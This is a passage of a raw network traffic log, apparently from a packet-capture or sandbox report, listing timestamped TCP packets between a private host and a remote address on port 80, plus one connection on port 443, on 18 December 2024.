Dec 18, 2024 21:30:44.896812916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.896825075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.896861076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.897502899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.897515059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.897550106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.898180962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.898192883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.898204088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.898231030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.898242950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.898914099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.898926020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.898961067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.899557114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.899569988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.899606943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.900209904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.900228024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.900262117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.900281906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.900945902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.900978088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.900989056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.901020050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.901051044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.901623964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.901634932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.901674032 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.902291059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.902302980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.902342081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.902985096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.902997971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.903033972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.903690100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.903702021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.903740883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.904370070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.904381990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.904392004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.904417992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.904441118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.909233093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.909295082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.909363031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.909410000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910248995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910262108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910271883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910300016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910324097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910398006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910409927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910419941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910432100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910442114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910444021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910456896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910468102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910469055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910480022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910489082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910492897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910505056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910512924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910516024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910536051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910545111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910550117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910558939 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910562038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910573959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.910584927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.910613060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.911261082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.911293030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.911340952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.912108898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.912122011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.912159920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.912981987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.912993908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.913036108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.913636923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.913650036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.913661003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.913688898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.913702011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.914098024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.914113045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.914145947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.914158106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.914673090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.914685965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.914738894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.915426970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.915473938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.915602922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.915648937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.916040897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.916054010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.916088104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.916764021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.916776896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.916785955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.916820049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.916832924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.917439938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.917453051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.917496920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.918370008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.918382883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.918416977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.918431044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.918849945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.918863058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.918901920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.919512033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.919524908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.919534922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.919564009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.919576883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.920141935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.920160055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.920190096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.920202017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.921147108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.921159983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.921197891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.921624899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.921637058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.921674013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.922199965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.922219992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.922233105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.922250986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.922278881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.082425117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.082555056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.082564116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.082593918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.082637072 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.083122969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.083172083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.083353996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.083405972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.083693027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.083705902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.083714962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.083741903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.083766937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.084275007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.084322929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.084608078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.084619045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.084656954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.085038900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.085052013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.085086107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.085644960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.085690975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.085923910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.085936069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.085966110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.085980892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.086417913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.086430073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.086468935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.087101936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.087115049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.087147951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.087610006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.087629080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.087658882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.087680101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.088304043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.088316917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.088352919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.089023113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.089035034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.089068890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.089679003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.089689970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.089725018 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.090370893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.090383053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.090392113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.090415955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.090431929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.091025114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.091043949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.091072083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.091085911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.091747999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.091761112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.091795921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.092432976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.092446089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.092482090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.093111992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.093142033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.093151093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.093174934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.093194008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.093878984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.093898058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.093926907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.093941927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.094681978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.094693899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.094727993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.095714092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.095726013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.095762014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.096260071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.096275091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.096307039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.096333027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.096746922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.096760035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.096770048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.096796036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.096817970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.097278118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.097292900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.097325087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.097337961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.097938061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.097955942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.097984076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.097999096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.098623037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.098634958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.098678112 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.099323988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.099334955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.099345922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.099373102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.099386930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.099972010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.099991083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.100014925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.100029945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.100740910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.100753069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.100788116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.101514101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.101525068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.101556063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.102109909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.102122068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.102154016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.102754116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.102766991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.102777004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.102802038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.102826118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.103477001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.103507042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.103542089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.104120970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.104139090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.104181051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.104790926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.104803085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.104836941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.105504990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.105516911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.105526924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.105552912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.105565071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.106184006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.106197119 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.106232882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.106875896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.106893063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.106918097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.106945038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.107552052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.107563972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.107593060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.107605934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.108247042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.108258963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.108294964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.108958006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.108969927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.108980894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.109004021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.109029055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.109642982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.109654903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.109688044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.110424995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.110444069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.110471010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.110491991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.111279964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.111299038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.111326933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.111346960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.111788988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.111800909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.111810923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.111835957 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.111855984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.112349033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.112373114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.112396955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.112410069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.113054037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.113065958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.113100052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.113734007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.113764048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.113796949 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.114509106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.114521027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.114531040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.114554882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.114563942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.213697910 CET	49824	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:45.292212963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.292284966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.292392015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.292406082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.292458057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.292988062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.293040991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.293315887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.293328047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.293371916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.293998003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.294011116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.294051886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.294599056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.294611931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.294655085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.295142889 CET	80	49819	31.41.244.11	192.168.2.5
